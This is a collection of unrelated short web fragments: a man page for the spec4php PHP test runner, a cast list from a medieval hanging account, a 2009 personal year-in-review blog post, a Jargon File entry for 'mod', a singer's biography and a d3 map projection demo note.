| 14-Dec-17 | Nov-17 | 10.3 | - | 10.0 | 10.2 | - | |||
| 18-Jan-18 | Dec-17 | 10.1 | - | 10.2 | 9.4 | - | |||
| 14-Mar-18 | Jan-18 | - | - | 9.4 | - | - | |||
| Copyright: Kshitij Consultancy Services |


spec4php
- cli runner
spec4php <FILE>
spec4php <DIRECTORY>
Spec4php runs the specified spec files and reports the results in the terminal. For information on how to create spec files please refer to spec4php(5).
The spec4php
command expects input files to contain PHP code with
describe and it blocks in it.
Giving a directory as argument, spec4php
will run all the files ending
with .spec.php
or Spec.php
it finds below that directory.
The following options (switches) are supported.
-h
, --help
Prints the usage help message and quits.
-v
, --verbose
Enables verbose mode. Additional information will be printed.
--debug
Enables debug mode. Stack traces will be shown unfiltered.
--color
=[auto|yes|no]Tells Spec if it should use colors when printing messages. By default (if the option is not set) it will use the auto mode, which will try to detect if it's safe to use ansi color sequences.
-f
regexp, --filter
=regexpRuns only the tests matching the given regular expression. You can specify this option multiple times to build complex expressions.
-g
group, --group
=groupRuns only the tests assigned to the given group or groups. Use commas to define multiple groups or specify this option multiple times.
--exclude-group
=groupDo not run the tests assigned to the given group or groups. Use commas to define multiple groups or specify this option multiple times.
--list-group
=groupPrint a list of the available group names.
--format
=formatThe formatter to use to present the result of the tests. The default formatter is dots, the other supported formatter is story.
-s
An alias for --format story
-b
, --beep
Turn on beep-on-failures, which will issue a beep sound for each failed test.
-d
file, --dump
fileOutputs the generated PHP code for a Spec file. If verbose mode is enabled it will print line numbers too.
Please report bugs via GitHub's issue tracker
Spec for PHP is Copyright (C) 2011 Ivan -DrSlump- Montes http://pollinimini.net
spec4php(3), spec4php(5), http://github.com/drslump/spec-php


Who's Who
Key characters
Supporting characters
-
Henry of Scurlage
Armed man who watched Cragh's hanging
-
John Young
Franciscan friar, translator for William Cragh
-
Jovanta
Handmaiden of Mary de Briouze, who measured William Cragh
-
Matilda de la Chapel
Handmaiden of Mary de Briouze, fed William Cragh after his resuscitation
-
Maurice of Pencoyd
Franciscan friar, translator for William Cragh
-
Sunehild
Handmaiden sent by Mary to measure William Cragh
-
Thomas Mathews
Burgess of Swansea, owner of house in which William Cragh recovered
-
Trahaearn ap Hywel
Welsh nobleman and malefactor, hanged alongside William Cragh
-
William of Durand
Bishop of Mende from 1296-1328
-
William of Testa
Archdeacon of Aran


2009 has been a big year. A lot happened. Professionally and in my life in general.
What went well
Reading other books than technical books
I have been reading a lot of books that had nothing to do with the technical aspect of my job, but with other challenges in mind. I’ve read about business development, learning process, design (not software design) and project management. I’ve also came in contact with the Pragmatic Thinking and Learning book which gave me a lot of great tools to learn more effectively.
Agile
I’ve been working with an Agile Team for half a year now, going back where I really belong. I liked the experience and hope we (the team) can get even more benefits from this methodology this year. I’ve also assisted to some of the conferences of the Agile Tour 2009 which was a fantastic event.
Web Development and Javascript
I’ve always been a developer with a little knowledge of web design but no deep knowledge. I’ve always had design supplied to me and been able to hack through it and get thing done. This year, I’ve gone deeply in web design and CSS, so deeply that I now really hate browsers differences :). And I’m now an expert in Javascript, thanks to jQuery. Seriously, I made really big improvement on this side.
SEO
Search Engine Optimization that his. I was expected to increase visitors from the US on a website. I’ve started with no real knowledge on how Google was indexing content. So I geared myself, watched videos and read everything I could for this. It’s not always easy but it was a fun learning experience. One tool worth mentioning is the IIS SEO toolkit. The first analysis with this extensions showed me that I had a lot of problems with missing descriptions, keywords, titles, broken links, etc, on my blog, and it provided a great experience in allowing me to resolve them and understand what I did wrong.
Wedding
I’m now married. Since October 17. What an intense ride it was. And we are now waiting for our first child to be born (due February 2010).
Consulting
I’ve done some consulting work at the beginning of the year and it was really fun. Delivered on time and exactly what they wanted. Great experience. Great customer.
What could have been better
Lack of time to post on my blog and the migration to BlogEngine.
I have missed a lot of opportunity to blog and I intend to get back on track this year. I also migrated my blog from Wordpress to BlogEngine.Net this summer and seen a drop of more than 50% in traffic. I blame myself for my lack of migration strategy.
Technical Reading
I read some technical books in 2009, but not as many as the other years. In fact, aside from Clean Code, CSS Web Design and ASP.NET MVC in action, I had read no other technical book.
A contract
A situation has occurred in which I was unable to deliver a project on time. Some deadline were too thigh and a last minute change (technology switch at the last minute) made the situation goes havoc and the project was abandoned (by me).
Skullcandy headphones
I had a pair of Skullcandy headphones that broke unexpectedly. But due to the formidable warranty (complete replacement or half-price on another pair), I had sent them to be replaced in October. I’m still waiting and all my attempt to contact them has failed. The problem is that I would have been able to repair them myself and now I’ve just lost them.
Update 1 (January 14, 2010 : It seems the package never arrived…).
Update 2 (January 19, 2010 : Now they found it and the new headphones are being returned to me.
Update 3 (February 11, 2010) : 3 weeks now and still haven’t received them (Canada Post is slow or …).


Dash Board
Query Page
Visualizations
Game Page
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mod
`Prev `__
M
`Next `__
--------------
**mod**: vt.,n.
[very common]
1. Short for ‘modify’ or ‘modification’. Very commonly used — in fact
the full terms are considered markers that one is being formal. The
plural ‘mods’ is used esp. with reference to bug fixes or minor design
changes in hardware or software, most esp. with respect to
`*patch* <../P/patch.html>`__ sets or a `*diff* <../D/diff.html>`__. See
also `*case mod* <../C/case-mod.html>`__.
2. Short for `*modulo* `__ but used *only* for its
techspeak sense.
--------------
+--------------------------------+----------------------------+-------------------------+
| `Prev `__ | `Up <../M.html>`__ | `Next `__ |
+--------------------------------+----------------------------+-------------------------+
| mockingbird | `Home <../index.html>`__ | mode |
+--------------------------------+----------------------------+-------------------------+


Anjali is a 22-year-old singer/songwriter based in the greater Washington, D.C. area. Born and raised in Washington, D.C., Anjali trained in Indian Classical and Jazz music from a young age. She cites her strongest musical influences as Sam Cooke, Celine Dion, and Etta James. Having relentlessly listened to Motown and 80s R&B throughout her upbringing, Anjali strives to reintroduce both 70s and 80s soul music by exploring intersections among urban sounds, old-school melodies, and even some Indian ragas. She recently released her first single, “Tell Me Why,” on all music streaming platforms. Anjali has performed at Wolf Trap National Park for the Performing Arts, George Mason Patriot Center, and various US embassies. In June of 2016, she was invited to perform with legendary jazz fusion guitarist and four-time Grammy nominee, Stanley Jordan.
Live at Morningstar is a soulful 3-song, live EP with old-school jazz and blues influences and some sensibility derived from the Indian classical tradition. The EP features live acoustic versions of two of Anjali's original tracks and one track entitled "Fool That I Am", included as a tribute to one of Anjali's biggest musical inspirations, Etta James.
View All VideosMore information coming soon!


An example of projected
map.mode
rendering from
d3.carto.map
.
The map initializes with the default projection (mollweide) and if you click the "Reproject to Conic Equidistant" it will change the projection to the new settings.